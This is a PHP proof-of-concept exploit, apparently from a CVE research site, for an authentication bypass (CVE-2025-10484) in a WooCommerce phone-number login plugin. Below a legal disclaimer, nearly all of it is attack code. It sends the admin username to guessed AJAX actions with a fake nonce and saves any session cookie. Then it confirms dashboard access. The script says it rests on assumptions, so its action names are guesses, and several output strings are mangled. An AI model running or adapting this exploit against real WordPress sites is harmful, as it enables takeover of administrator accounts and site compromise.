CVE-2025-10484: Registration & Login with Mobile Phone Number for WooCommerce <= 1.3.1 – Authentication Bypass (registration-login-with-mobile-phone-number)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-10484 - Registration & Login with Mobile Phone Number for WooCommerce <= 1.3.1 - Authentication Bypass
<?php
/**
 * Proof of Concept for CVE-2025-10484
 * Assumptions based on WordPress plugin patterns:
 * 1. The vulnerable function fma_lwp_set_session_php_fun() is exposed via AJAX
 * 2. The AJAX action name follows plugin naming conventions
 * 3. The function accepts user identifier parameters without authentication
 * 4. No nonce or capability checks are performed
 */

$target_url = 'https://vulnerable-site.com';
$target_user = 'admin'; // Username or ID of user to impersonate

// Construct AJAX endpoint - common WordPress AJAX handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Determine likely AJAX action name based on plugin slug
// Plugin slug: registration-login-with-mobile-phone-number
// Common patterns: fma_lwp_ (function prefix), rlwmpn_ (abbreviation), or full slug
$possible_actions = [
    'fma_lwp_set_session_php_fun', // Direct function name
    'fma_lwp_ajax_auth',           // Generic AJAX handler
    'rlwmpn_set_session',          // Abbreviated slug
    'registration_login_mobile_set_session' // Descriptive
];

foreach ($possible_actions as $action) {
    echo "[*] Testing action: $actionn";
    
    $post_data = [
        'action' => $action,
        'user_id' => $target_user,      // Common parameter name
        'username' => $target_user,     // Alternative parameter
        'user_login' => $target_user,   // WordPress standard
        'mobile_number' => 'any_value', // Plugin-specific parameter
        'nonce' => 'bypassed'           // Nonce likely not verified
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HEADER => true,
        CURLOPT_COOKIEJAR => 'cookies.txt',
        CURLOPT_COOKIEFILE => 'cookies.txt',
        CURLOPT_FOLLOWLOCATION => true
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "    HTTP Code: $http_coden";
    
    // Check for successful authentication indicators
    if (strpos($response, 'Set-Cookie: wordpress_logged_in') !== false) {
        echo "[+] SUCCESS: Authentication bypass achievedn";
        echo "[+] Session cookies saved to cookies.txtn";
        break;
    }
    
    if (strpos($response, 'success') !== false || strpos($response, 'true') !== false) {
        echo "[+] Possible success - check cookies.txt for sessionn";
        break;
    }
}

// Verify authentication by accessing admin page
if (file_exists('cookies.txt')) {
    $ch = curl_init($target_url . '/wp-admin/');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => 'cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $admin_response = curl_exec($ch);
    curl_close($ch);
    
    if (strpos($admin_response, 'Dashboard') !== false) {
        echo "[+] CONFIRMED: Admin dashboard accessed successfullyn";
    }
}
?>